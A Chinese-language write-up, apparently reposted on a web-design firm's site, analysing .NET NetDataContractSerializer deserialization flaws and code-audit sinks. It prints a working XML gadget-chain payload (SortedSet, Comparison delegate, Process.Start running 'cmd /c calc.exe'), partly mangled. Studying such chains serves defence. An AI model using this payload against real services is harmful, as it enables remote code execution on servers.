如何进行NetDataContractSerializer反序列化漏洞分析

如何进行NetDataContractSerializer反序列化漏洞分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

我们提供的服务有:网站建设、网站制作、微信公众号开发、网站优化、网站认证、泸县ssl等。为上千余家企事业单位解决了网站和推广的问题。提供周到的售前咨询和贴心的售后服务,是有科学管理、有技术的泸县网站制作公司

一、前言

NetDataContractSerializer和DataContractSerializer一样用于序列化和反序列化Windows Communication Foundation (WCF) 消息中发送的数据。两者之间存在一个重要区别:NetDataContractSerializer 包含了CLR,通过CLR类型添加额外信息并保存引用来支持类型精确,而DataContractSerializer 则不包含。 因此,只有在序列化和反序列化端使用相同的 CLR 类型时,才能使用 NetDataContractSerializer。若要序列化对象使用 WriteObject或者Serialize方法, 若要反序列化 XML流使用 ReadObject或者Deserialize方法。在某些场景下读取了恶意的XML流就会造成反序列化漏洞,从而实现远程RCE攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。

二、NetDataContractSerializer序列化

使用WriteObject或者Serialize可以非常方便的实现.NET对象与XML数据之间的转化,注意NetDataContractSerializer包含了程序集的名字和被序列化类型的类型。这些额外信息可以用来将XML反序列化成特殊类型,允许相同类型可以在客户端和服务端同时使用。另外的信息是z:Id属性在不同的元素上意义是不同的。这个用来处理引用类型以及当XML被反序列化时是否引用可以保留,最后的结论是这个输出相比DataContractSerializer的输出包含了更多信息。下面通过一个实例来说明问题,首先定义TestClass对象

如何进行NetDataContractSerializer反序列化漏洞分析

TestClass对象定义了三个成员,并实现了一个静态方法ClassMethod启动进程。序列化通过创建对象实例分别给成员赋值    

如何进行NetDataContractSerializer反序列化漏洞分析

笔者使用Serialize得到序列化TestClass类后的xml数据

18360Ivan1ee

三、NetDataContractSerializer反序列

3.1 反序列化原理和用法

NetDataContractSerializer类反序列过程是将XML流转换为对象,通过创建一个新对象的方式调用ReadObject多个重载方法或Serialize方法实现的,查看定义得知继承自XmlObjectSerializer抽象类、IFormatter接口,

如何进行NetDataContractSerializer反序列化漏洞分析

NetDataContractSerializer类实现了XmlObjectSerializer抽象类中的WriteObject、ReadObject方法,也实现了IFormatter中定义的方法。笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下

如何进行NetDataContractSerializer反序列化漏洞分析

其实在Deserialize方法内也是调用了ReadObject方法反序列化的

如何进行NetDataContractSerializer反序列化漏洞分析

反序列化过程中使用ReadObject方法调用了ReadObjectHandleExceptions方法,省略一些非核心代码,进入InternalReadObject方法体内反序列化后得到对象的属性,打印输出成员Name的值。

如何进行NetDataContractSerializer反序列化漏洞分析

3.2 攻击向量—MulticastDelegate

多路广播委托(MulticastDelegate)继承自 Delegate,其调用列表中可以拥有多个元素的委托,实际上所有委托类型都派生自MulticastDelegate。MulticastDelegate类的_invocationList字段在构造委托链时会引用委托数组,但为了取得对委托链更多的控制就得使用GetInvocationList方法,它是具有一个带有链接的委托列表,在对委托实例进行调用的时候,将按列表中的委托顺序进行同步调用,那么如何将calc.exe添加到GetInvocationList列表方法?首先先看Comparison类,它用于位于命令空间System.Collections.Generic,定义如下

如何进行NetDataContractSerializer反序列化漏洞分析

Comparison类返回委托,再使用Delegate或者MulticastDelegate类的公共静态方法Combine将委托添加到链中作为Comparison的类型比较器    

如何进行NetDataContractSerializer反序列化漏洞分析使用Comparer的静态方法Create创建比较器,比较器对象在.NET集合类中使用的频率较多,也具备了定制的反序列化功能,这里选择SortedSet类,在反序列化的时内部Comparer对象重构了集合的排序。    

如何进行NetDataContractSerializer反序列化漏洞分析多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。    

如何进行NetDataContractSerializer反序列化漏洞分析最后传入攻击载荷后得到完整序列化后的poc,如下    

如何进行NetDataContractSerializer反序列化漏洞分析

四、代码审计

4.1 Deserialize

从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:

如何进行NetDataContractSerializer反序列化漏洞分析

4.2 ReadObject

如何进行NetDataContractSerializer反序列化漏洞分析上面两种方式都是很常见的,需要重点关注。

五、复盘

1.  代码中实现读取本地文件内容    

如何进行NetDataContractSerializer反序列化漏洞分析2.  传递poc xml,弹出计算器网页返回200

1.  2<_comparison z:Id ="4" z:FactoryType ="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly ="0" xmlns= "http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a ="http://schemas.datacontract.org/2004/07/System" >mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089< a:delegateEntry i:nil="true" />Compare< a:targetTypeAssembly z:Ref ="6" i:nil ="true" />System.String< a:type z:Id = "10">System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]< a:methodName z:Id = "11" >Start< a:target i:nil = "true" />< a:targetTypeAssembly z:Id = "12" >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089< a:targetTypeName z:Id = "13" >System.Diagnostics.Process< a:type z:Id = "14" >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]< method0 z:Id = "15" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = " http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "11" i:nil = "true" />< AssemblyName z:Ref = "12" i:nil = "true" />< ClassName z:Ref = "13" i:nil = "true" />< Signature z:Id = "16" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.Process Start(System.String,System.String)< Signature2 z:Id = "17" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.ProcessStart(System.String, System.String)< MemberType z:Id = "18" z:Type = "System.Int32" z:Assembly = "0" >8< method1 z:Id = "19" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = " http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "8" i:nil = "true" />< AssemblyName z:Ref = "6" i:nil = "true" />< ClassName z:Ref = "9"                                                                                i:nil = "true" />< Signature z:Id = "20" z:Type = "System.String" z:Assembly = "0" >Int32 Compare(System.String, System.String)< Signature2 z:Id = "21" z:Type = "System.String" z:Assembly = "0" >System.Int32 Compare(System.String,System.String)< MemberType z:Id = "22" z:Type = "System.Int32" z:Assembly = "0" >8< GenericArguments i:nil = "true" />< Version z:Id = "23" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2< Items z:Id = "24" z:Type = "System.String[]" z:Assembly = "0" z:Size = "2" xmlns = "" >< string z:Id = "25" xmlns = " http://schemas.microsoft.com/2003/10/Serialization/Arrays" >/c calc.exe< string z:Id = "26" xmlns = " http://schemas.microsoft.com/2003/10/Serialization/Arrays" >cmd

最后附上动态效果图

如何进行NetDataContractSerializer反序列化漏洞分析

关于如何进行NetDataContractSerializer反序列化漏洞分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注创新互联行业资讯频道了解更多相关知识。


文章名称:如何进行NetDataContractSerializer反序列化漏洞分析
当前网址:http://ybzwz.com/article/ieesje.html